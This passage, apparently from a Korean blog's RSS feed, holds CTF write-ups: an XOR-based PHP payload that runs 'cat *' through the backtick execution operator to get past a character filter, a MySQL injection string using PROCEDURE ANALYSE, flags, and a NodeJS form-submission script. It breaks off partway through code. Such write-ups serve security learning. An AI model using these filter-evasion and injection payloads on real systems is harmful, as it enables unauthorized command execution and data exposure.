&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;from&lt;/span&gt;&amp;nbsp;itertools&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;combinations&lt;br /&gt;&lt;br /&gt;CHARSET&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'0123456789+-*/().~^|&amp;amp;'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;find&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;c&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;assert&lt;/span&gt;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;len&lt;/span&gt;(c)&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;recursive_level&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;range&lt;/span&gt;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;len&lt;/span&gt;(CHARSET))&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;cs&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;combinations(CHARSET,&amp;nbsp;recursive_level)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;val&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;t&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;cs&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;val&amp;nbsp;^=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;ord&lt;/span&gt;(t)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;ord&lt;/span&gt;(c)&amp;nbsp;==&amp;nbsp;val&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;cs&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;__name__&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'__main__'&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;True&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;c&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;input&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'&amp;gt;&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res&amp;nbsp;=&amp;nbsp;find(c)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;',&amp;nbsp;'&lt;/span&gt;.join(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;'&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&quot;&lt;/span&gt;.format(r)&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;r&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;res))&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한편 PHP의 연산자를 찾아보던 중 execution operator라는 생소한 것을 발견하게 되었다. (&lt;a href=&quot;https://www.php.net/manual/en/language.operators.execution.php&quot;&gt;https://www.php.net/manual/en/language.operators.execution.php&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;`cat *`&lt;/code&gt; 을 실행시켜 파일을 모두 출력하도록 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;`cat *`&lt;/code&gt; 을 각 글자마다 변환하면 아래와 같은 문자열이 만들어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;('0'^'.'^'~').('0'^'-'^'~').('0'^'-'^'|').('*'^'^').('~'^'^').'*'.('0'^'.'^'~')&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글자 수 제한에 맞추기 위해 몇몇 글자들을 묶어서 아래와 같이 처리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;('.-'^'00'^'~~').('0'^'-'^'|').('*~'^'^^').'*'.('0'^'.'^'~')&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{_D0_Y0u_Know_H0w_T0_C4lculat3_1337?_viettel_*100*817632506233949#}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;WEB :: mysqlimit&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hyunmini.tistory.com/46&quot;&gt;https://hyunmini.tistory.com/46&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;1/**/LIMIT/**/2,1/**/PROCEDURE/**/ANALYSE(1)&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_&amp;lt;3_vina_*100*28904961445554#}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;misc-1&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;MISC :: Welcome&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{dmlldHRlbDogKjEwMCo0MTk4NjIzMDkwMzMxWFgj}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>CTF/CTF Playground</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/157</guid>
      <comments>https://mineta.tistory.com/157#entry157comment</comments>
      <pubDate>Sat, 9 Jan 2021 04:31:18 +0900</pubDate>
    </item>
    <item>
      <title>Brixel CTF winter edition</title>
      <link>https://mineta.tistory.com/156</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Programming :: Are you fast enough?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면에 나오는 랜덤 문자열을 form에 넣어서 POST로 빨리 보내주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python으로 파싱하는게 편했겠지만 NodeJS 연습해보기 위해 아래와 같이 코드를 썼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 느려서 플래그 가져오는 것도 여러번 시도해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;require&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'request'&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;cheerio&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;require&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'cheerio'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'http://timesink.be/speedy/index.php'&lt;/span&gt;;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;jar&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;get&lt;/span&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;url&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;jar&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #729db3;&quot;&gt;err&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #729db3;&quot;&gt;res&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;$&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;cheerio&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;load&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;text&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;$&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'#rndstring'&lt;/span&gt;).&lt;span style=&quot;color: #dcdcaa;&quot;&gt;html&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[+]&amp;nbsp;string:&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;text&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;post&lt;/span&gt;(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;url&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;URL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;jar&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;form&lt;/span&gt;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;inputfield&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;text&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #729db3;&quot;&gt;err&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #729db3;&quot;&gt;res&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;);&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{sp33d_d3m0n}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Programming :: Keep walking...&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 점화식 코딩 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 13px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;__name__&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'__main__'&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;x&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;x&amp;nbsp;&amp;lt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;525&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: 